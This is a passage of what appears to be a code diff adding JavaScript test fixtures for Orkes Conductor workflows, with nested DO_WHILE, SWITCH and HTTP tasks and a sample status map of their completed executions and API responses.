taskReferenceName: "http_ref_four_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + { + name: "http_last", + taskReferenceName: "http_last_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "do_while_1", + taskReferenceName: "do_while_ref_1", + inputParameters: { + number: "8", + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\nif ($.do_while_ref_1['iteration'] < $.number) {\nreturn true;\n}\nreturn false;\n})();", + loopOver: [ + { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_new_dowhile_two", + taskReferenceName: "http_new_dowhile_two_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 3: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_new_dowhile_one", + taskReferenceName: "http_new_dowhile_one_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "graaljs", + expression: + "(function () {\n const number = Math.floor(Math.random() * (4 - 1 + 1)) + 1;\n return number;\n }())", + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + ], + inputParameters: [], + outputParameters: {}, + schemaVersion: 2, + restartable: true, + workflowStatusListenerEnabled: false, + ownerEmail: "najeeb.thangal@orkes.io", + timeoutPolicy: "ALERT_ONLY", + timeoutSeconds: 0, + variables: {}, + inputTemplate: {}, + rateLimitConfig: { + rateLimitKey: "", + concurrentExecLimit: 0, + }, + }, + priority: 0, + variables: {}, + lastRetriedTime: 0, + history: [], + idempotencyKey: "", + rateLimited: false, + startTime: 1711471925001, + workflowName: "doWhileExample-test-multi-dowhile", + workflowVersion: 1, +}; + +export const sampleStatusMap = { + http_ref: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http", + scheduledTime: 1713413856786, + startTime: 1713413856891, + endTime: 1713413856963, + updateTime: 1713413856891, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "965fb8d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:36 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8678, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "mmxpwylvytawptmkxykq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 105, + loopOverTask: false, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref", + retryCount: 0, + seq: 1, + pollCount: 1, + taskDefName: "http", + scheduledTime: 1713413856786, + startTime: 1713413856891, + endTime: 1713413856963, + updateTime: 1713413856891, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "965fb8d9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:36 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8678, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "mmxpwylvytawptmkxykq", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http", + taskReferenceName: "http_ref", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 0, + subworkflowChanged: false, + queueWaitTime: 105, + loopOverTask: false, + taskDefinition: null, + }, + ], + }, + do_while_ref: { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1713413856971, + startTime: 1713413856971, + endTime: 1713413859275, + updateTime: 1713413859060, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967bcc5a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qsrrgcyapbgeuoceizaa", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 5: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 6: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 7: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 970, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "abxkbgqcvgvqnxjcishg", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 8: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5144, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "ffeeyciploflvzcqtrsc", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 9: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 10: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7706, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "wadmrkumznvlcrfbfpoz", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + iteration: 10, + }, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + inputParameters: { + number: 10, + }, + type: "DO_WHILE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopCondition: + "(function () {\n if ($.do_while_ref['iteration'] < $.number) {\n return true;\n }\n return false;\n})();", + loopOver: [ + { + name: "inline", + taskReferenceName: "inline_ref", + inputParameters: { + evaluatorType: "graaljs", + expression: + "(function () {\n return Math.floor(Math.random() *3) + 1;\n})();", + }, + type: "INLINE", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "switch", + taskReferenceName: "switch_ref", + inputParameters: { + switchCaseValue: "${inline_ref.output.result}", + }, + type: "SWITCH", + decisionCases: { + 1: [ + { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 2: [ + { + name: "http_2", + taskReferenceName: "http_ref_2", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + }, + defaultCase: [ + { + name: "http_1", + taskReferenceName: "http_ref_1", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + evaluatorType: "graaljs", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 1, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "DO_WHILE", + status: "COMPLETED", + inputData: { + number: 10, + _createdBy: "najeeb.thangal@orkes.io", + }, + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + pollCount: 0, + taskDefName: "do_while", + scheduledTime: 1713413856971, + startTime: 1713413856971, + endTime: 1713413859275, + updateTime: 1713413859060, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "967bcc5a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + 1: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["180"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 47, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "vxqmzdyagxmexnpbaiqd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 2: { + http_ref_2: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 633, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "pnnnyucqifmchdazstau", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 2, + }, + switch_ref: { + evaluationResult: ["2"], + selectedCase: "2", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 3: { + http_ref_1: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5570, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "sxopfwobgmlbyhectkue", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + inline_ref: { + result: 3, + }, + switch_ref: { + evaluationResult: ["3"], + selectedCase: "3", + }, + http_ref_10: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + }, + 4: { + inline_ref: { + result: 1, + }, + switch_ref: { + evaluationResult: ["1"], + selectedCase: "1", + }, + http_ref_3: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 3964, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: 